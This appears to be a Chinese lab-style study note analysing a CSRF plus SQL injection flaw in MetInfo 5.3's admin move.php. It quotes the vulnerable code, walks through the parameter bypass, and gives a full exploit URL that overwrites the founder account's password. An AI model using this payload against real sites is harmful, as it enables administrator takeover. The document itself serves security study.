MetInfo5.3最新版 CSRF修改任意数据(后台SQL注入)-学习笔记

漏洞名称

MetInfo5.3最新版CSRF修改任意数据(后台SQL注入)

发布时间

2015-8-7

漏洞分类

SQL注入漏洞

缺陷代码

文件./admin/column/move.php存在SQL注入(update),可用来修改任意数据库信息,可通过修改管理员密码进入后台,再从后台getshell(后台问题很多)。

./admin/column/move.php中第53行:

$query="update $table set class1=$movenow[id],class2=0,class3=0 where $classold1"; 

如果$table变量可控,将有update SQL注入,事实证明,它就是用户可控的。
但是在第20~33行的语句把我们的$table重新赋值了。

第20~33行:

switch($movenow['module']){
        case 2:
            $table=$met_news;
        break;
        case 3:
            $table=$met_product;        
        break;
        case 4:
            $table=$met_download;        
        break;    
        case 5:
            $table=$met_img;        
        break;                
    }

用来赋值$table,问题就在这里,当$movenow['module']不为2/3/4/5,$table还是我们输入的。

变量$movenow的定义在第14行:

$movenow=$db->get_one("select * from $met_column where id='$id'");
  1. 变量$id用户可控,所以我们可以把id设置成一个不存在的,这样$movenow就为false,$movenow['module']就不为2/3/4/5。比如我们可以将$id设置为-1。

利用

  1. 绕过第六行的if($foldyanzheng),设置$foldyanzheng=0
  2. 进入15行的if($action=='move'),设置$action=move
  3. 绕过20~33行的$table重新赋值,设置$id=-1
  4. 进入39行的if($classto==0) else,设置$class2=-1(也可不设,见16行);
  5. 设置$class构造注入语句。(系统自带过滤引号)
  6. 修改创始人帐号密码:
    ./admin/column/move.php?foldyanzheng=0&action=move&id=-1&class2=-1&table=met_admin_table+set+admin_pass+%3d+0x6531306164633339343962613539616262653536653035376632306638383365%2c+admin_id+%3d+0x61646D696E+where+id+%3d+1%23

实验步骤

打开目标站点,通过浏览器访问目标站点,模拟管理员登录后台(admintest: admintest),此时创始人帐号密码为admin: ree3eew87
本地新建一个html文件(poc.html),内容如下。

在管理员登录的情况下打开,我们建立的html文件
此时创始人帐号密码已经被改为admin: 123456,尝试登录验证。

你可能感兴趣的:(安全实践)